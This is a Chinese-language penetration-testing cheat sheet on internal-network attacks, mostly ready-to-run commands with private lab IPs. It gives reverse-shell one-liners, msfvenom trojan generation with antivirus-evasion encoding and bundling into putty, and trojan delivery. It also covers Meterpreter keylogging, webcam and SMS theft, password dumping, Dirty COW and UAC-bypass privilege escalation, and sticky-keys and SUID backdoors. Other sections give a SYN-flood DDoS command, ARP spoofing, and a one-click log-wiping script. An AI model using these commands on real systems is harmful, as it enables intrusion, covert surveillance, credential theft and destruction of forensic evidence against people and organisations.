内网笔记大全
1、基础命令
Windows
1、net user #查看用户
2、net view #查看在线主机
3、systeminfo #查看操作系统的基本配置
4、ipconfig /all #详细显示当前网络配置信息和网卡信息
5、net localgroup #查看本地组信息
6、net localgroup administrators #查看管理员组
7、tasklist #查看进程列表
8、taskkill /IM 利用程序名杀死进程;/PID 利用PID杀死进程;/FI强制杀死进程;/T 杀死子进程 #杀死进程
9、netstat -ano #显示协议统计和当前TCP/IP的网络连接(包括端口)
10、netsh wlan show profile name="WiFi名称" key=clear #显示出该WiFi的详细信息(包括密码)
11、whoami /user #查看用户SID(安全标识符)
12、chdir #列出当前路径
13、wevtutil cl security #清除安全日志
14、wevtutil cl system #清除安全日志
15、wevtutil cl application #清除应用日志
16、dir #显示目录内容
17、cd #切换目录
18、cls #清屏
19、wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list #查看Name, Domain, Manufacturer, Model, Username, Roles信息(/format:list #以列表格式输出数据并排列)
20、wmic process list brief = tasklist #查看当前进程
21、wmic product get name,version #查看软件以及版本信息
22、wmic share list brief = wmic share = net share #查看共享文件夹
23、wmic qfe list = systeminfo | findstr "KB" #查看系统补丁
24、wmic /node:localhost /namespace:\root\SecurityCenter2 path AntivirusProduct Get displayname /format:list #查看系统安装的杀软
25、netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport=3389 # 命令行开启3389端口
klist #查看票据
klist purge #清除票据
Linux
apt-get update #更新软件库列表
apt-get upgrade #更新所有已安装的软件包
df -h #查看磁盘占用
uname -a = cat /proc/version # 查看内核版本
pwd #列出当前路径
lsof -i:port #查看指定端口开放情况
netstat -antulp #查看端口开放情况
groups #查看当前用户所属组
uname -a #查看内核版本的全部信息
sudo -l #查看当前用户拥有root权限的命令,默认为ALL
cat /proc/version #查看内核版本的全部信息
cat /etc/*release #查看发行版信息
dpkg -l #查看安装包(根据安装的包的版本找漏洞) (Ubantu / debian)
rpm -qa #查看安装包(Redhat,CentOS)
crontab -l #列出计划任务
/sbin/ifconfig -a #查看网络的配置信息
cat /etc/passwd #普通用户可以查看,内容是账号密码信息(密码放在shadow里)
cat /proc/cpuinfo #查看CPU信息
cat /var/lib/mysql/mysql/user.MYD #mysql密码默认位置路径
echo $HISTSIZE #查看历史命令保存条数
HISTSIZE=200 #临时修改最大保留条数为200
2、Kali的基础操作
1、切换成root用户
su root
su - root #更新环境变量(更换原先用户的环境变量)
2、更换kali源
vim /etc/apt/sources.list
注释掉官方源,把阿里源粘贴过去:deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
;deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
sudo apt-get update #更新软件
sudo apt-get upgrade升级软件
3、永久静态、动态修改IP地址
vim /etc/network/interfaces
①auto eth0(静态IP)
iface eth0 inet static #静态设置ip
address 192.168.126.134 #设置ip地址
netmask 255.255.255.0 #设置子网掩码
gateway 192.168.126.2 #设置网关
②auto eth0(dhcp动态IP)
iface eth0 inet dhcp
systemctl restart networking
4、Kali双网卡设置
手动添加一直物理网卡-->/etc/network/interfaces 配置文件修改-->重启网卡-->右上角选择Wired connection 2-->等待一会即可
5、Linux共享文件夾(Trust)环境
cd /mnt
mkdir windows
mount -t cifs -o username=Share,password=Aa123456 <//192.168.48.1/Share> /mnt/windows
6、VM-tools的LINUX共享文件夹
开启虚拟机设置中的共享,添加进想要共享的windows目录
在mnt目录下创建hgfs
/usr/bin/vmhgfs-fuse .host://mnt/hgfs -osubtype=vmhgfs-fuse,allow_other
7、提权
sudo su 普通用户升到root权限
3、克隆用户
先创建账户名为jj,密码为123的账户--->在注册表当中将这两个身份信息导出到桌面,并且再导出管理员的身份令牌--->将管理员的身份令牌当中的"F"值复制进jj的身份令牌"F"值上--->再DOS当中输入net user jj active:yes将管理员账户解禁,这里相当于将管理员身份活跃起来(由于我们将管理员的"F"值替换进jj的SID当中,所以此时jj就是管理员身份),记得在本地用户和组当中刷新一下--->然后再将账户为jj的两个身份信息双击导入到注册表当中--->最后切换jj这个用户导入即可。
4、粘滞键后门
copy cmd.exe cmd.back
copy sethc.exe sethc.back
takeown /F c:\windows\system32* /A /R (/A 更改为 管理员组 所有、/R 递归)
cacls c:\windows\system32\cmd.exe /E /G administrators:F (/E:编辑权限而不是替换;/G:赋予指定用户权限)
cacls c:\windows\system32\sethc.exe /E /G administrators:F
copy /Y cmd.exe sethc.exe
5、IPC$
1、被连接端
C:\Windows\System32> net user administrator /active:yes
#激活管理员账户
C:\Windows\System32> net user administrator "password"
#为管理员账户设置密码
2、连接端
PS E:\Users\Desktop> net use \\"ip" "password" /user:administrator
#密码连接(ip写被连接端的ip,也可在ip后加"\ip")
3、连接后操作
PS E:\Users\Desktop> net sessions
#查看连接到本地的IPC$
PS E:\Users\Desktop> net use \\"ip" /del
#断开连接
PS E:\Users\Desktop> net use Z: \\"ip"\c$
#挂载对方的C盘目录成本地Z盘(其他盘符也是可以的)
PS E:\Users\Desktop> net use Z: /del
#删除映射的磁盘
PS E:\Users\Desktop> dir \\"ip"\C$\文件目录
#查看对方的C盘下的文件
PS E:\Users\Desktop> tasklist /S "ip" /U administrator /P "password"
#列出远程主机上运行的程序
PS E:\Users\Desktop> copy \\"ip"\C$\Windows\system32\cmd.exe test.exe
#复制远程主机文件到当前主机并改名为test.txt
使用at创建计划任务
略
使用schtasks创建计划任务
略
使用PsExec直接反弹Shell
略
6、二三四层发现
二层发现
arping 192.168.126.128
netdiscover -r 192.168.126.0/24 -c 2
nbtscan -r 192.168.126.0/24
三层发现
ping 192.168.126.128
fping -g 192.168.126.0/24 | grep alive
hping3 -c 2 --icmp 192.168.126.128
hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.126.128 #DDOS攻击 (-c:多少个数据包;-d:数据包的大小;-S:SYN数据包(半连接);-w:64字节;-p:21 指定端口;--flood:泛洪攻击;--rand-source:本地生成随机IP)
四层发现
nmap -Pn -T5 -v 192.168.126.0/24 -oN 1.txt #存活主机
nmap -sS -p- -T5 -v 192.168.126.125 快速的全端口扫描
nmap -sSV -A -T5 -v 192.168.126.128 -oN 2.txt #端口扫描、操作系统
nmap --script=vuln -T5 -v 192.168.126.128 -oN 3.txt #漏洞探测(--script=模糊测试的脚本简写的名称(脚本名称))
nmap -sC -T5 -v 192.168.126.128 -oN 4.txt #漏洞探测(-sC相当于--script=defaults)
nmap -sT -sU -T5 -v 192.168.126.128 -oN 5.txt #tcp、udp扫描
masscan(目前我不常用)
./fscan -h 192.168.126.0/24
./fscan -h 192.168.126.100-200
7、ARP攻击
arpspoof实现
arpspoof -i eth0 -t 192.168.126.128 -r 192.168.126.2
#ARP断网/ARP攻击,也可实现对被攻击方的上网流量监测(-t:被攻击方;-r:伪造网关)
可开启数据包转发功能使对方恢复通信:echo "1" > /proc/sys/net/ipv4/ip_forward
#或者写sysctl -w net.ipv4.icmp_echo_ignore_all=0
小工具dirftnet可实现对网络数据包中抓取图片:driftnet -i eth0 -a -d /home/kali/Desktop/picture #-a:直接下载
Ettercap实现
打开Kali内置的工具Ettercap-->点击右上角打勾进入-->点击左上角搜索图标扫描当前局域网的所有设备-->设置目标Target-->在右上角选择ARP poisoning...即可(该工具可检测到被攻击方以http上网浏览、输入等信息)
8、dsniff
apt-get install dsniff
#网络嗅探工具dsniff的下载安装
基于dsniff也可实现ARP攻击arpspoof(arpspoof属于dsniff的工具,所以需要先安装dsniff,过程略)
9、NC(netcat)瑞士军刀
1、监听、聊天工具
nc -lvvp 8000 #Windows开放80000端口
nc 192.168.126.128 8000 #Kali连接8000端口
2、端口扫描
nc -lvvp 9000 #Windows开放9000端口
nc -vz -w2 192.168.126.128 8888-10000 #Kali进行端口扫描
3、正向连接
控制端主动弹出shell,使被控制端连接
nc -lvvp 9000 -e /bin/bash #Kali主动弹出shell
nc -v 192.168.126.134 9000 #Windows连接
4、反向连接
被控制端主动弹出shell,使控制端连接(常用)
nc 192.168.126.134 9000 -e cmd.exe #Windows主动弹出shell
nc -lvvp 9000 #Kali连接
5、正向文件传输
nc -lvvp 7000 < /home/kali/Desktop/k1.txt #Kali上传文件(服务端)
nc 192.168.126.134 7000 > k2.txt #Windows下载文件
6、反向文件传输
nc 192.168.126.134 7000 < k2.txt #Windows上传文件(服务端)
nc -lvvp 7000 > /home/kali/Desktop/k3.txt #Kali下载文件
10、Socat多功能网络工具
1、监听
socat -dd tcp4-listen:8000 stdout #Kali打开接口监听
socat - tcp4:192.168.126.128:8000 #Windows连接
2、正向弹shell
socat tcp4-listen:5555 exec:/bin/bash #Kali主动弹出shell
socat - tcp4:192.168.126.128:5555 #Windows7连接
3、反向弹shell
socat -dd tcp4-listen:4444 stdout #Windows弹shell
socat tcp4:192.168.126.128:4444 exec:/bin/bash #Kali连接
4、传输文件
socat tcp4-listen:5555 file:test.txt #服务端发送文件
socat tcp4:192.168.126.128:5555 file:123.txt,creat #客户端接收文件并下载
11、编码格式
linux中默认的编码格式:utf8--占两个字符;windows中默认的编码格式:gbk--占三个字符
windows命令行切换utf8:chcp 65001
windows命令行切换gbk:chcp 936
12、会话提升
python -c "import pty;pty.spawn('/bin/bash')"
python3 -c 'import pty;pty.spawn("/bin/bash")'
13、apt-get命令
apt-get update #更新源文件,并不会做任何安装升级操作
apt-get upgrade #升级所有已安装的包
apt-get install packagename #安装指定的包
apt-get build-dep packagename #安装相关的编译环境
apt-get source packagename #下载该包的源代码
apt-cache search packagename #查询指定的包
apt-cache show packagename #显示包的相关信息,如说明、大小、版本等
apt-get remove packagename -- purge #删除包,包括删除配置文件等
apt-get autoclean #清理无用的包
14、Metasploit基础
1、进入Metasploit控制台
msfconsole
2、更新Metasploit成最新的版本
apt-get install metasploit-framework
apt-get update
apt-get upgrade
3、Metasploit的安装目录
cd /usr/share/metasploit-framework
4、Metasploit的模块
cd /usr/share/metasploit-framework/modules
5、Metasploit初始化数据库
systemctl start postgresql # 打开Kali的postgresql
systemctl enable postgresql #设置postgresql开机自启
msf6 > msfdb init #初始化msfdb数据库
msf6 > msfdb start #开启数据库
msf6 > db_connect -y /usr/share/metasploit-framework/config/database.yml #连接数据库
6、msf中的nmap与database联动
msf6 > db_nmap -sSV -A -T5 -v 192.168.126.128 #nmap扫描,并且直接将数据存入到数据库当中
msf6 > hosts #查看数据库
7、MSF读取文件命令
msfconsole -r 1
(1.txt)
8、基础命令补充【补】
session #查看当前会话
session -k 1 #杀死id=1的会话
15、metasploit信息搜集
1、版本探测
msf6 > use auxiliary/scanner/smb/smb_version # 大概率探测是否存在永恒之蓝漏洞
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 > use auxiliary/scanner/mysql/smb_version
2、端口扫描
①db_nmap(nmap) #扫描结果可直接导入到数据库
②metasploit端口扫描模块
msf6 > use auxiliary/scanner/portscan/syn
msf6 > use auxiliary/scanner/portscan/tcp
3、mysql安全测试
msf6 > use auxiliary/scanner/mysql/mysql_login #枚举测试(暴力破解),可以自己设置字典
4、密码嗅探
msf6 > use auxiliary/sniffer/psnuffle
16、木马制作
1、msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.134 lport=8888 -f exe -o /var/www/html/liaotian.exe
2、msfvenom -a x86 -p linux/x86/meterpreter/reverse_tcp lhost=192.168.126.134 lport=8888 -f elf -o /var/www/html/test.elf
3、msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.2.232 lport=4444 > /var/www/html/weixin.apk
4、(Empire) > usestager windows/launcher_bat #使用模块制作
5、msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.134 LPORT=4444 -e x86/shikata_ga_nai -i 15 -f exe -o shell1.exe #自编码免杀木马
6、msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.134 lport=6666 -x putty-32bit.exe -f exe -o putty1.0.exe #自捆绑免杀(需要putty.exe这个软件进行捆绑,注意版本问题;需要在这个目录下更好操作/var/www/html)
7、msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.134 lport=7777 -f exe -o putty2.0.exe -x putty-32bit.exe -e x86/shikata_ga_nai -x putty-32bit.exe -i 15 #自捆绑+自编码
8、msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.126.134 LPORT=8888 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 12 -x putty-32bit.exe -k -f exe > putty3.0.exe #多重编码免杀(-k:不影响源文件的功能,可以尽量不加,容易被关闭)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.126.134 lport=8888 -f exe > /var/www/html/xxxxxxxxxx.exe
17、木马下放方式
1、apache服务开放的服务器
systemctl start apache2
#开启http的中间件(servic apache2 start)
systemctl enable apache2
#开机自启动
注意事项:可能会碰到有默认页面的情况,删除掉/var/www/html(Kali中间件默认路径)下的index.html文件即可
访问方式:web界面输入http://IP
即可
2、用编程语言开放的服务器
用编程语言开放的服务器,服务器路径的话就是在当前目录下开放服务
python2:python -m SimpleHTTPServer port
#不常用
python3:python3 -m http.server port
#访问方式:web界面输入http://IP:port
即可(port是服务本身开放的端口,不是自己写的端口)
18、msf建立Windows监听器
1、使用监听模块
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp #监听器的payload一定要与-p指定的payload一致,不然无法监听到木马反弹-p指定的payload
msf6 exploit(multi/handler) > set lhost 192.168.126.128
msf6 exploit(multi/handler) > set lport 8888 #端口一定要与下发的木马端口一致
msf6 exploit(multi/handler) > exploit / run
2、建立持久化监听
msf6 > handler -H 192.168.126.128 -P 8888 -p windows/meterpreter/reverse_tcp
19、常用的payload
set payload windows/meterpreter/reverse_tcp #设置Windows常用的payload
set payload windows/meterpreter/reverse_tcp_rc4
set payload windows/meterpreter/bind_tc
set payload windows/meterpreter/bind_tcp_rc4
set payload windows/meterpreter/reverse_https
set payload windows/meterpreter/reverse_http
set payload linux/x86/meterpreter/reverse_tcp #设置Linux常用的payload
set payload android/meterpreter/reverse_tcp #设置Android常用的payload
20、MSF专用会话的常用命令
getsystem #提权
sysinfo #系统信息
ps #查看当前进程
shell #进入shell
hashdump #sam文件数据调出-->密码
getsid #获取server_id
clearev #痕迹清除(需要权限)
migrate + pid #进程迁移 (后渗透)
run vnc #打开远程桌面(只有查看权限)
execute #执行命令
portfwd list #查看端口转发列表
keyscan_start #开启扫描键盘
keyscan_dump #显示扫描键盘的记录
keyscan_start #关闭扫描键盘
uictl disable all #禁用键盘鼠标
uictl enable all #启用键盘鼠标
webcam_list #列出摄像头列表
webcam_snap #拍照默认为1张
webcam_stream #打开摄像头
steal_token 2784 #令牌盗用
rev2self #权限返回
load kiwi #获取密码
creds_all #列举所有凭据
background = bg #将session置于后台
21、经典漏洞【补】
1、Windows
MS17-010(永恒之蓝) 解决办法:KB4012212
MS12-020(蓝屏漏洞)
cve-2018-8120--系统内核提权漏洞
MS14-068 补丁编号:KB3011780
MS16-032 提权漏洞
2、Linux
CVE-2016-5195 #脏牛漏洞
CVE-2022-0847 #linux提权漏洞复现
22、提权模块介绍
1、UAC
msf6 > use exploit/windows/local/ask
msf6 exploit(windows/local/ask) > set session 1 #设置需要提权的会话
msf6 exploit(windows/local/ask) > set technique PSH #设置运行方式(可选)
msf6 exploit(windows/local/ask) > set filename Firefox.exe #更改提示名称(记得后缀名)(可选)
msf6 exploit(windows/local/ask) > run
2、bypassuac
msf6 > search bypassuac #搜索模块
几个比较好用的模块:
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 > use exploit/windows/local/bypassuac_comhijack
msf6 > use exploit/windows/local/bypassuac_injection
3、本地提权漏洞
(一般给Windows服务器使用的,Windows的其他设备不太能成功)
msf6 > use exploit/windows/local/bypassuac_windows_store_filesys
msf6 > use exploit/windows/local/ms18_8120_win32k_privesc #cve-2018-8120
4、suid粘滞位提权(find后门)【没太懂】
chmod u+s /usr/bin/find
#root用户上将find命令添加上粘滞位(漏洞)
find /etc/passwd -exec cat /etc/shadow \;
#在普通用户输入即可以查看(修改)shadow文件(";"是结束标志)
5、脏牛漏洞
1、上传脏牛到靶机:https://gitcode.net/mirrors/FireFart/dirtycow?utm_source=csdn_github_accelerator
2、对脏牛漏洞进行编译:gcc -pthread dirty.c -o dirty -lcrypt
3、给编译后文件赋权:chmod u+x dirty
4、执行命令:./dirty "password"
#自定义的密码,默认用户是firefart(root权限)
5、登入firefart用户:su firefart
6、sudo提权【补】
(略)
7、Empire的bypassuac提权
(Empire: 10) > usemodule prives
#UAC提权模块(prives/ask)
(Empire: 10) > bypassuac listen1
#默认运行powershell/privesc/bypassuac_eventvwr
usemodule privesc/powerup/allchecks #检查漏洞模块
usemodule privesc/ + 双tap #查询提权模块
23、后渗透模块介绍
1、常用后渗透命令(MSF)
getsystem #提权
migrate "pid" #会话迁移
hashdump #下载sam文件中的账号密码信息
shutdown # 关机
kill pid #杀死进程
get_timeouts #获取session超时时间
clearev #清除痕迹(系统日志,安全日志,应用日志)(前提有特权,才能清除的干净)
screenshare = run vnc #浏览器监视
screenshot #截图
download #下载(downdowd c:*.txt /root)
upload #上传
run post/windows/gather/checkvm #检测是否虚拟机
run post/windows/manage/killav #关闭杀毒软件
run post/windows/gather/enum _logged_users #枚举当前有多少用户
run post/windows/manage/enable_rdp #开启3389端口
run post/windows/gather/smart hashdump #可以不进行会话迁移获取账户密码
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum applications #获取安装软件信息
run post/windows/gather/enum_domain #查找域控
run post/windows/gather/enum_patches #查询补丁
2、Android常用后渗透命令(MSF)
(大概率需要给权限,而且很多用不了)
app_list #查看app列表
webcam_list #列出网络摄像头
sysinfo #查看手机信息
dump_calllog #获取调用日志
dump_contacts #获取联系人列表
dump_sms #获取短信
geolocate #利用地理定位获取当前LAT(Google)
webcam_stream #开启摄像头
dump_contacts #导出电话号码
dump_sms #导出短信信息
webcam_snap #通过摄像头拍照功能
record_mic #记录/ 从默认麦克风录制音频为X秒
webcam_chat #开始视频聊天
webcam_snap #从指定的摄像头获取快照
webcam_stream -i 1 #从指定的网络摄像头播放视频流[选择后摄像头]
activity_start #从URI字符串启动Android活动
wlan_geolocate #利用WLAN信息获取当前LAT
hide_app_icon #从发射器隐藏应用程序图标
interval_collect #管理区间收集能力
send_sms #从目标会话发送短消息
sqlite_query #从存储库查询SQLite数据库
wakelock #启用/禁用Wakelock
3、进程迁移
meterpreter > migrate "pid"
#需要进行提权
4、提取Windows的账户密码信息
meterpreter > hashdump
#需要进行提权和进程迁移
meterpreter > run post/windows/gather/smart hashdump
#不需要进行提权和进程迁移(使用模块)
24、持久化后门
1、presistence模块【没太懂】
(生成VBS脚本文件,并开机自启动的模块)
msf6 > use exploit/windows/local/persistence
msf6 > exploit(windows/local/persistence) > set session 1
msf6 > exploit(windows/local/persistence) > set delay 5 #每过5秒就进行一次弹出会话(可选)
msf6 > exploit(windows/local/persistence) > set VBS_NAME QQ.vbs #vbs文件名(可选)
msf6 > exploit(windows/local/persistence) > set REG_NAME QQ_GAME.reg #reg文件名(可选)
msf6 > exploit(windows/local/persistence) > set EXE_NAME tim.exe #设置后台进程的名称(可选)
msf6 > exploit(windows/local/persistence) > set PATH C:\users\L #设置VBS文件路径(可选)
msf6 > exploit(windows/local/persistence) > set STARTUP SYSTEM #设置自启动注册表为系统HKLM,路径与正常路径有一些区别(默认情况下使用HKCU的正常路径。如果要在HKLM里植入需要提权)(可选)-----???
msf6 > run/exploit
2、创建suid.c
1、写suid.c脚本
c
#include <stdlib.h>
main(){
setuid(0);
system("/bin/bash");
}
2、编译:gcc suid.c -o suid
#输出文件名为suid
3、权限赋予:chmod 4777 suid
#4777代表u+s
4、隐藏文件:mv /tmp/suid /usr/bin
3、复制/bin/bash文件
1、复制:cp /bin/bash /tmp/shell
2、赋予特殊权限(root用户操作):chmod u+s /tmp/shell
3、普通用户执行:./shell -p
#要加上-p参数,否则是得到一个普通用户权限
4、/etc/passwd后门
1、useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1 #添加账号test1,设置uid为0,密码为123456
2、ssh test1@192.168.126.134 #远程连接
5、Empire持久化模块
(Empire: 10) > persistence/powerbreach/deaduser #使用模块
25、痕迹清除
1、Windows
①有远程桌面权限时手动删除日志
开始-->程序-->管理工具-->计算机管理-->系统工具-->事件查看器-->清除日志
②wevtutil
wevtutil el #列出系统中所有日志名称
wevtutil cl system #清理系统日志
wevtutil cl application #清理应用程序日志
wevtutil cl security #清理安全日志
③meterperter自带清除日志功能
clearev #清除windows中的应用程序日志、系统日志、安全日志
④清除recent(最近的操作记录)
在文件资源管理器中点击"查看"-->"选项"-->在常规-->隐私中点击"清除"按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入 del /f /s /q "%userprofile%\Recent*.*"
2、Linux
①清除命令历史记录
Kali
bash #用于history的部分参数失效,得先加bash
history -c
rm .zsh_history #删除历史文件中的内容
②linux日志文件
/var/run/utmp #记录现在登入的用户
/var/log/wtmp #记录用户所有的登入和登出
/var/log/lastlog #记录每一个用户最后登入时间
/var/log/btmp #记录错误的登入尝试
/var/log/auth.log #需要身份确认的操作
/var/log/secure #记录安全相关的日志信息
/var/log/maillog #记录邮件相关的日志信息
/var/log/message #记录系统启动后的信息和错误日志
/var/log/cron #记录定时任务相关的日志信息
/var/log/spooler #记录UUCP和news设备相关的日志信息
/var/log/boot.log #记录守护进程启动和停止相关的日志消息
③完全删除日志文件
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
④针对性删除日志文件
sed -i '/当天日期/'d filename
#删除当天日志
⑤一键清除脚本
Kali+shell
vim his.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm -rf ~/./bash_history
rm -rf .zsh_history
history -c
chmod 777 his.sh
./his.sh
26、Kali安装Empire工具
方法一①apt-get
apt-get update
#更新库
apt-get install powershell-empire -y
#安装
powershell-empire server
#打开服务端(新版需要点开服务端,再开客户端)
powershell-empire client
#打开客户端(这里需要再开一个kali的窗口进行客户端的连接,会自动连接上本机的服务端)
方法二②github克隆
git clone --recursive https://github.com.cnpmjs.org/BC-SECURITY/Empire.git
#下载Empire(可能会网络不稳定)
27、Empire基础命令
help = ? #帮助命令
agents #查看代理,进入用户菜单
creds #存放用户的凭据信息 (前提是获取到mimikatz的HASH值)
interact #进入到交互模式
list #列出存活的代理或者监听器
searchmodule #搜索模块
set #设置参数
show #显示参数
uselistener #使用监听器(创建)
usemodule #使用模块
usestager #使用stager
listeners #查看监听模块
kail id/all #杀死进程
remove id/all #清除代理
28、Empire使用流程
1、开启Empire
powershell-empire server
#打开第一个Terminal
powershell-empire client
#打开第二个Teminal,主要在客户端上进行操作
2、监听(模块)
(Empire) > uselistener http
#打开监听模块
(Empire: listeners/http) > info / options
#查看设置参数
Name、Port、HOST
#设置参数(set)
(Empire: listeners/http) > execute
#执行监听模块(Empire监听类似持久化监听)
3、生成stager
(Empire: listeners) > usestager windows/launcher_bat
#使用launcher_bat模块生成payload(生成木马)
(Empire: stager/windows/launcher_bat) > set Listener XXX
#匹配监听器(监听器名称)
(Empire: stager/windows/launcher_bat) > set OutFile /root/Desktop/WEIXIN.bat
#设置输出文件的存放位置和文件名
(Empire: stager/windows/launcher_bat) > execute / generate
#执行/生成
(Empire: stager/windows/launcher_bat) > cp /var/lib/powershell-empire/empire/client/generated-stagers/test.bat /var/www/html #将文件放入阿帕奇目录下
4、下载木马【补】
法一:Windows端通过http页面直接下载
法二:bitsadmin /transfer /n http://IP/xx.vbs path
#远程下载木马
29、Empire的部分payload
usestager + 双tab
#查看所有的stager
Linux-stager类型
multi
mac-stager类型
osx
(常用)Windows-stager类型
windows/launcher_bat #这个不好用啦
windows/hta
windows/launcher_vbs
windows/dll
30、宏病毒(微软word/excel操作)
1、word 选项 --> 信任中心 --> 宏设置 --> 启用所有宏
2、开发工具 --> 宏 --> 创建(所有活动模板和文档) --> templateProject --> microsoft word 对象 --> thisdocment --> 插入宏代码(VBA)
31、interact(Empire)命令
info #查看当前会话信息
sysinfo #获取系统基本信息
interact #进入到交互模式
kill #杀死会话
killdate #指定日期杀死会话 killdate [agent/all] 01/01/2016
rename #给agents重命名
searchmodule #搜索模块
bypassuac + 监听进程名 #bypassuac提权
jobs/history #查看工作中和历史的任务
ps #获取进程
mimikatz #前提:提权。抓取账号密码(hashdump)
creds #查看账号密码
psinject #利用shellcode进程迁移
pth #pass the hash
shell + cmd命令 #用cmd执行指令
spawn #生成新的agent
sc #截屏
injectshellcode #利用shellcode进程迁移到meterpreter
revtoself #恢复令牌权限
32、Empire会话迁移
1、Empire获取会话
略
2、MSF操作
msf6 > exploit/multi/script/web_delivery
#使用模块(打开web站点的接收监听器)
msf6 > exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_http
#设置payload
msf6 > exploit(multi/script/web_delivery) > set LHOST 192.168.126.134
msf6 > exploit(multi/script/web_delivery) > set URIPATH /
#设置根目录
msf6 > exploit(multi/script/web_delivery) > set target PSH
#使用Powershell目标
msf6 > run
3、Empire操作
(Empire) > usemodule powershell/code_execution/invoke_metasploitpayload
#Empire使用模块
(Empire: usemodule/powershell/code_execution/invoke_metasploitpayload) > set Agent XXX
(Empire: usemodule/powershell/code_execution/invoke_metasploitpayload) > set URL http://192.168.126.134:8080
(Empire: usemodule/powershell/code_execution/invoke_metasploitpayload) > execute
33、Pastejacker使用
1、安装Pastejacker
git clone https://github.com/D4Vinci/PasteJacker.git
#克隆(下载)
python3 -m pip install ./PasteJacker -i https://pypi.tuna.tsinghua.edu.cn/simple
#安装
2、修改文件配置
cd /usr/local/lib/python3.9/dist-packages/PasteJacker/Core/
#进入配置文件存放的位置
vim updater.py
#编辑文件,删除文件中的第 10 行到第 18 行的内容,共 9 行内容需要删除,再次运行Pastejacker即可
3、基础使用
Pastejacker
1、选择平台1(Windows)
2、选择我们要进行的命令2(自行输入要执行的命令)
3、输入你的命令,这个命令是你在被攻击方执行的命令
4、设置javascript的方式实现2
5、设置http的端口
6、输入我们在http的界面给对方展示的界面内容
Windows7
上通过http访问,进行复制粘贴(剪贴板操作)进命令行即可获得Windows7靶机的shell
(用法二:当MSF建立监听后,Windows再进行剪贴板操作可得到meterpreter的会话)
34、icmpsh的操作
1、环境安装
pip2 install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install --upgrade setuptools -i https://pypi.tuna.tsinghua.edu.cn/simple
pip2 install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple
#安装
2、使用方法
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#拒绝所有通过Kali的icmp的报文
python2 ./icmpsh_m.py "Kali地址" "靶机地址"
#在kali上的icmpsh-master目录下操作
icmpsh.exe -t "kali地址" -d 500 -s 128 -b 30
#反弹shell,在靶机的icmpsh-master目录cmd运行
3、其他
sysctl -w net.ipv4.icmp_echo_ignore_all=0
#改回代替应答
35、免杀框架【补】
1、venom【适用2019版本的kali】
2、shellter
3、backdoor-factory
4、国产免杀-FourEye
5、资源替换与数字签名(自解压)
1、右键添加压缩文件
2、创建自解压文件栏(SFX)
3.点击高级-->点击自解压选项
4、点击更新-->覆盖所有文件夹
5、点击设置-->加入图标路径、木马路径
6、点击文本和图表-->添加ico图标
7、点击模式-->全部隐藏
8、确定,然后隐藏文件拓展名
36、代理转发(横向移动)【补】
1、ptunnel
ptunnel -x 123456(密码) -p 192.168.21.132(跳板机地址) -lp 6666(kali本机端口) -da 192.168.48.138(目标地址) -dp 3389(目标端口)
#Kali命令
ptunnel -x 123456
#跳板机命令
rdesktop 127.0.0.1:6666
#Kali访问目标机
2、LCX
跳板机
Windows: lcx.exe -listen 1234 4321
Linux:./portmap -m 2 -p1 1111 -p2 2222
内网主机(靶机)
lcx.exe -slave 192.168.48.139(跳板机地址) 1111 127.0.0.1 3389/80/21
攻击机
rdesktop 192.168.99.143:2222
#Kali访问目标机
3、NC
攻击机:nc -lvvp 4321
跳板机:C:\Users\L\Desktop\netcat>nc -v 192.168.21.130(攻击机) 4321 -e "C:\Users\L\Desktop\netcat\nc.exe -v 192.168.48.138(靶机) 4444"
靶机:nc.exe -lvvp 4444 -e cmd
4、SSH
1、本地端口转发(好用)
攻击机:ssh -CfNg -L 1234:192.168.48.138:3389(目标主机) root@192.168.21.128(跳板机)
#开放Kali的1234端口
攻击机:rdesktop 127.0.0.1:3389
2、远程端口转发
跳板机:ssh -CfNg -R 4567:192.168.48.138:3389(目标主机) root@192.168.21.130(攻击机)
攻击机:rdesktop 127.0.0.1:4567
3、动态端口转发
攻击机:ssh -CfNg -D 10000 root@192.168.21.128(跳板机)
检测方式:
①浏览器检测方式
设置网络配置-->手动配置代理-->socks代理-127.0.0.1:10000-->socks4/5代理-->重新刷新页面即可
②proxychains检测方式
vim /etc/proxychains4.conf
#在末尾添加代理IP和端口(socks4 127.0.0.1 10000)
proxychains4 curl myip.ipip.net
#测试代理开放情况
proxychains4 curl http://192.168.48.138
#测试一
proxychains4 firefox
#测试二
proxychains4 rdesktop 192.168.48.138
#测试三
proxychains4 nmap -sT -Pn 192.168.48.138 -p 3389
#测试四;-sT固定为为TCP探测、-Pn跳过存活检测,不加均会报错
5、MSF端口转发
